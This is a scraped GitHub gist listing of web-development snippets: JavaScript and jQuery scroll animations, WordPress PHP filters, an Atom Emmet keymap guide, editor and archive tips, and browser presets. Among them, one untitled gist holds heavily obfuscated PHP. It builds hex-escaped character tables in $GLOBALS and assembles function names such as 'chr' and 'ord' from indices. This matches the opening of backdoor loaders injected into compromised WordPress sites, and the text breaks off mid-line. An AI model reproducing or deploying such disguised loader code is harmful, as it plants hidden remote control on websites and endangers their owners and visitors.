Skip to content

Instantly share code, notes, and snippets.

View madastro's full-sized avatar

madastro madastro

View GitHub Profile
@madastro
madastro / animatedScrollTo.js
Created April 13, 2018 02:15 — forked from joshbeckman/animatedScrollTo.js
ScrollTo animation using pure javascript and no jquery
document.getElementsByTagName('button')[0].onclick = function () {
scrollTo(document.body, 0, 1250);
}
function scrollTo(element, to, duration) {
var start = element.scrollTop,
change = to - start,
currentTime = 0,
increment = 20;
@madastro
madastro / Readme.md
Created March 3, 2018 10:41 — forked from mxstbr/Readme.md
Enable tab completion for JSX with Emmet in Atom

Enable tab completion for JSX with Emmet in Atom

This guide assumes you have the emmet and language-babel packages already installed in Atom

Gif of the tab completion working

  1. Open the keymap.cson file by clicking on Atom -> Keymap… in the menu bar
  2. Add these lines of code to your keymap:
'atom-text-editor[data-grammar~="jsx"]:not([mini])':
@madastro
madastro / content_fix.php
Created April 3, 2017 11:02
Cleans all given post_type of CDATA sections
// Clean CDATA in database
add_action('init', 'clean_posts');
function clean_posts() {
/* Run on the following post_types post, page, attachment and wpcf7_contact_form */
$content_posts = get_posts( array('post_type' => 'post', 'numberposts' => -1) );
$str = array('<!--[CDATA[', '<![CDATA[', '-->', ']]>', '<![CDATA[]]>');
foreach ( $content_posts as $content_post ) {
$old_content = $content_post->post_content;
$content_post->post_content = str_replace($str, '', $old_content);
wp_update_post( $content_post );
@madastro
madastro / script_loader_tag.php
Created December 13, 2016 06:49
Sample code using WordPress script_loader_tag filter to defer scripts
<?php
// Do not load CF7 assets on other pages
if ( class_exists('WPCF7') ) {
add_filter( 'wpcf7_load_css', '__return_false' );
//add_filter( 'wpcf7_load_js', '__return_false' );
add_filter( 'wpcf7_use_really_simple_captcha', '__return_true' );
// Add defer attribute
add_filter( 'script_loader_tag', function ( $tag, $handle ) {
if ( 'contact-form-7' !== $handle )
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['a0a46a'] = "\x43\x79\x4f\x67\x5e\x3f\x52\x7e\x6a\x2f\x31\x62\x41\x47\x5c\x68\x5a\x2e\x53\x4e\x2c\x3d\x7a\x3e\x74\x61\x55\x7d\x6b\x25\x46\x33\x78\xd\x5d\x64\x60\x6e\x2d\x29\x4c\x3a\x5b\x6f\x28\x58\x4b\x59\x75\x6d\x44\x32\x22\x7b\x54\x3c\x21\x40\x9\x73\x45\x72\x2a\x56\x6c\x39\x4d\x5f\x30\x51\x35\x4a\x77\x42\x24\x63\x26\x36\x37\x49\x34\x3b\x38\x48\x71\x70\x50\x7c\x65\x57\x76\x2b\x66\x27\x69\xa\x20\x23";
$GLOBALS[$GLOBALS['a0a46a'][61].$GLOBALS['a0a46a'][11].$GLOBALS['a0a46a'][65].$GLOBALS['a0a46a'][65].$GLOBALS['a0a46a'][80].$GLOBALS['a0a46a'][82].$GLOBALS['a0a46a'][31].$GLOBALS['a0a46a'][51].$GLOBALS['a0a46a'][92]] = $GLOBALS['a0a46a'][75].$GLOBALS['a0a46a'][15].$GLOBALS['a0a46a'][61];
$GLOBALS[$GLOBALS['a0a46a'][49].$GLOBALS['a0a46a'][68].$GLOBALS['a0a46a'][68].$GLOBALS['a0a46a'][11]] = $GLOBALS['a0a46a'][43].$GLOBALS['a0a46a'][61].$GLOBALS['a0a46a'][35];
$GLOBALS[$GLOBALS['a0a46a'][61].$GLOBALS['a0a46a'][51].$GLOBALS['a0a46a'][92].$GLOBALS['a0a46a'][68]] = $GLOBALS['a0a46
@madastro
madastro / archive.cmd
Created October 20, 2016 17:19
Archive a wordpress theme and exclude node modules and bower components
7za a -tzip archive_name.zip folder\ -xr!node_modules -xr!components
@madastro
madastro / more.md
Created October 4, 2016 12:04 — forked from vasilisvg/more.md
This is my backup script which syncs my server to my dropbox every day.

The script below is triggered every day from my Mac. I use Hazel to move the tar.gz to an external hard disk once it's finished. This happens every day without me noticing. You can exclude folders if you want to. You probably want to exclude giant cache folders.

You should have a similar script.

@madastro
madastro / README.md
Last active September 25, 2015 07:40
Sublime Text 3 plugin for simple timestamping of source code

Sublime Text 3 add timestamp on save plugin

  1. Go to Tools > New Plugin
  2. Paste content of st3_timestamp.py and save as timestamp.py
  3. Add {@timestamp} anywhere in your code to insert timestamp, subsequent saves will update the timestamp
Note:
  1. Add supported files by editing the following line or remove to support all files:
@madastro
madastro / firefox-responsive-presets.json
Created April 24, 2015 02:00
Firefox Resposnive View Presets
[
{
"key": "360x640",
"name": "Asus ZenPhone 5",
"width": 360,
"height": 640
},
{
"key": "320x480",
"name": "iPhone",
@madastro
madastro / scroll-to-anchor.js
Last active September 14, 2017 06:41
jQuery - Animated scroll to anchor
jQuery(function($) {
$('a[href^="#signup"]').on('click', function(e) {
e.preventDefault();
$('html, body').stop().animate({
scrollTop: $('#signup').offset().top
}, 1000, 'swing', function() {
$('#email').focus();
});
});
});